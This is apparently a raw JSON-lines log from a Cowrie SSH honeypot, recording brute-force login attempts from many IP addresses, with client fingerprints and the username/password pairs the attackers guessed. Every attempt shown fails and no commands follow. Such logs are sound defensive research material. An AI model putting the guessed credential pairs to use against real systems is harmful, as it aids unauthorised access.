{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:55.403088Z","src_ip":"172.211.56.214","session":"086c23ccdc3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":60132,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3dcfa018ff2","protocol":"ssh","message":"New connection: 154.125.147.88:60132 (10.17.0.5:22) [session: f3dcfa018ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:01.952072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:01.957132Z","src_ip":"154.125.147.88","session":"f3dcfa018ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:02.189385Z","src_ip":"154.125.147.88","session":"f3dcfa018ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:03.099547Z","src_ip":"154.125.147.88","session":"f3dcfa018ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:04.337156Z","src_ip":"154.125.147.88","session":"f3dcfa018ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":37592,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a9fd41f9f2","protocol":"ssh","message":"New connection: 172.190.89.127:37592 (159.203.135.109:22) [session: 66a9fd41f9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:30.043960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:30.049345Z","src_ip":"172.190.89.127","session":"66a9fd41f9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:30.061942Z","src_ip":"172.190.89.127","session":"66a9fd41f9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angga","password":"Angga123!","message":"login attempt [angga/Angga123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:30.143975Z","src_ip":"172.190.89.127","session":"66a9fd41f9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:31.182025Z","src_ip":"172.190.89.127","session":"66a9fd41f9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c29dc024d8","protocol":"ssh","message":"New connection: 2.57.122.210:36338 (159.203.135.109:22) [session: 15c29dc024d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:37.468991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:37.473507Z","src_ip":"2.57.122.210","session":"15c29dc024d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:37.577090Z","src_ip":"2.57.122.210","session":"15c29dc024d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:37.892730Z","src_ip":"2.57.122.210","session":"15c29dc024d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:38.998344Z","src_ip":"2.57.122.210","session":"15c29dc024d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":51496,"dst_ip":"159.203.135.109","dst_port":22,"session":"181630b49a9f","protocol":"ssh","message":"New connection: 45.134.9.27:51496 (159.203.135.109:22) [session: 181630b49a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:44.288516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:44.292344Z","src_ip":"45.134.9.27","session":"181630b49a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:44.361151Z","src_ip":"45.134.9.27","session":"181630b49a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:44.671252Z","src_ip":"45.134.9.27","session":"181630b49a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:27:45.745213Z","src_ip":"45.134.9.27","session":"181630b49a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":49882,"dst_ip":"159.203.135.109","dst_port":22,"session":"f37725b64656","protocol":"ssh","message":"New connection: 95.164.113.63:49882 (159.203.135.109:22) [session: f37725b64656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:30.470494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:30.475056Z","src_ip":"95.164.113.63","session":"f37725b64656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:30.586321Z","src_ip":"95.164.113.63","session":"f37725b64656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfredo","password":"alfredo","message":"login attempt [alfredo/alfredo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:31.090558Z","src_ip":"95.164.113.63","session":"f37725b64656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:32.204019Z","src_ip":"95.164.113.63","session":"f37725b64656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":54186,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d6827e2a76a","protocol":"ssh","message":"New connection: 150.5.169.138:54186 (10.17.0.5:22) [session: 0d6827e2a76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.006543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.011242Z","src_ip":"150.5.169.138","session":"0d6827e2a76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":58384,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d5259d4051d","protocol":"ssh","message":"New connection: 182.253.156.173:58384 (159.203.135.109:22) [session: 1d5259d4051d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.115443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.122061Z","src_ip":"182.253.156.173","session":"1d5259d4051d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.228048Z","src_ip":"150.5.169.138","session":"0d6827e2a76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:36.384779Z","src_ip":"182.253.156.173","session":"1d5259d4051d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayoub","password":"ayoub123","message":"login attempt [ayoub/ayoub123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:37.127252Z","src_ip":"150.5.169.138","session":"0d6827e2a76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ct","password":"ct1234","message":"login attempt [ct/ct1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:37.450174Z","src_ip":"182.253.156.173","session":"1d5259d4051d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:38.346197Z","src_ip":"150.5.169.138","session":"0d6827e2a76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:38.708540Z","src_ip":"182.253.156.173","session":"1d5259d4051d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":59578,"dst_ip":"10.17.0.5","dst_port":22,"session":"08494798c4ed","protocol":"ssh","message":"New connection: 157.10.160.221:59578 (10.17.0.5:22) [session: 08494798c4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:55.232749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:55.236751Z","src_ip":"157.10.160.221","session":"08494798c4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:55.481694Z","src_ip":"157.10.160.221","session":"08494798c4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"certftp","password":"12345678","message":"login attempt [certftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:56.737362Z","src_ip":"157.10.160.221","session":"08494798c4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:57.984761Z","src_ip":"157.10.160.221","session":"08494798c4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":35976,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc9d8622f427","protocol":"ssh","message":"New connection: 172.211.56.214:35976 (159.203.135.109:22) [session: dc9d8622f427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:59.467593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:59.470814Z","src_ip":"172.211.56.214","session":"dc9d8622f427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:59.567886Z","src_ip":"172.211.56.214","session":"dc9d8622f427","protocol":"ssh"}
